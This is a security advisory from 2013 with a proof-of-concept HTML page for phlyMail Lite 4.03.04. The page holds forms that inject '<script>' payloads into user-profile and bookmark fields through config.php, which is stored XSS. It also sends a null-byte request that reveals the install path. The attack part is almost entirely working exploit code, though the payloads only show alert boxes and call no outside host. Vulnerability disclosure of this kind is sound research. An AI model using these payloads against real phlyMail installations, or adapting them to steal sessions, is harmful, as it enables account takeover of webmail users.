91 lines
No EOL
3.5 KiB
Text
91 lines
No EOL
3.5 KiB
Text
<!--
|
|
|
|
phlyLabs phlyMail Lite 4.03.04 Path Disclosure and Stored XSS Vulnerabilities
|
|
|
|
|
|
Vendor: phlyLabs
|
|
Product web page: http://www.phlymail.com
|
|
Affected version: Lite 4.03.04
|
|
|
|
Summary: phlyMail offers you an interface in the browser to have access
|
|
to your emails, contacts, appointments, tasks, files and bookmakrs from
|
|
anyhwere, where you have internet access. This can be your home, workplace,
|
|
train station, abroad, offroad, in the woods or your own backyard.
|
|
|
|
Desc: phlyMail suffers from multiple stored XSS vulnerabilities (post-auth)
|
|
and Path Disclosure when input passed via several parameters to several scripts
|
|
is not properly sanitized before being returned to the user. This can be exploited
|
|
to execute arbitrary HTML and script code in a user's browser session in context
|
|
of an affected site and displaying the full webapp installation path.
|
|
|
|
|
|
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
|
|
Apache 2.4.2 (Win32)
|
|
PHP 5.4.4
|
|
MySQL 5.5.25a
|
|
|
|
|
|
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
|
@zeroscience
|
|
|
|
|
|
Advisory ID: ZSL-2013-5122
|
|
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5122.php
|
|
|
|
|
|
13.01.2013
|
|
|
|
-->
|
|
|
|
|
|
<html>
|
|
<head>
|
|
<title>phlyLabs phlyMail Lite 4.03.04 Path Disclosure and Stored XSS Vulnerabilities</title>
|
|
</head>
|
|
<body><center><br />
|
|
|
|
<form method="POST" action="http://localhost/config.php?action=users&whattodo=savenewuser">
|
|
<input type="hidden" name="MOTD" value="ZSL" />
|
|
<input type="hidden" name="PHM[active]" value="1" />
|
|
<input type="hidden" name="PHM[cellular]" value='"><script>alert(1);</script>' />
|
|
<input type="hidden" name="PHM[customer_number]" value='"><script>alert(2);</script>' />
|
|
<input type="hidden" name="PHM[email]" value='"><script>alert(3);</script>' />
|
|
<input type="hidden" name="PHM[externalemail]" value='"><script>alert(4);</script>' />
|
|
<input type="hidden" name="PHM[fax]" value='"><script>alert(5);</script>' />
|
|
<input type="hidden" name="PHM[firstname]" value='"><script>alert(6);</script>' />
|
|
<input type="hidden" name="PHM[lastname]" value='"><script>alert(7);</script>' />
|
|
<input type="hidden" name="PHM[password2]" value="django" />
|
|
<input type="hidden" name="PHM[password]" value="django" />
|
|
<input type="hidden" name="PHM[tel_business]" value='"><script>alert(8);</script>' />
|
|
<input type="hidden" name="PHM[tel_private]" value='"><script>alert(9);</script>' />
|
|
<input type="hidden" name="PHM[visibility]" value="private" />
|
|
<input type="hidden" name="PHM[www]" value='"><script>alert(10);</script>' />
|
|
<input type="hidden" name="debugging_level" value="0" />
|
|
<input type="hidden" name="language" value="en" />
|
|
<input type="hidden" name="sessioncookie" value="0" />
|
|
<input type="hidden" name="sessionip" value="0" />
|
|
<input type="hidden" name="showmotd" value="1" />
|
|
<input type="hidden" name="theme" value="Yokohama" />
|
|
<input type="hidden" name="uid" value='"><script>alert(11);</script>' />
|
|
<input type="submit" value="XSS #1" />
|
|
</form>
|
|
|
|
<br />
|
|
|
|
<form method="POST" action="http://localhost/config.php?action=view&screen=bookmarks&module=Bookmarks&do=edititem&save=1&id=1">
|
|
<input type="hidden" name="desc" value="ZSL" />
|
|
<input type="hidden" name="group" value="1" />
|
|
<input type="hidden" name="is_favourite" value="1" />
|
|
<input type="hidden" name="name" value='"><script>alert(12);</script>' />
|
|
<input type="hidden" name="url" value='"><script>alert(13);</script>' />
|
|
<input type="submit" value="XSS #2" />
|
|
</form>
|
|
|
|
<br />
|
|
|
|
<form method="GET" action="http://localhost/frontend/derefer.php?go=joxy%00">
|
|
<input type="submit" value="PD #1" />
|
|
</form>
|
|
|
|
</center></body>
|
|
</html> |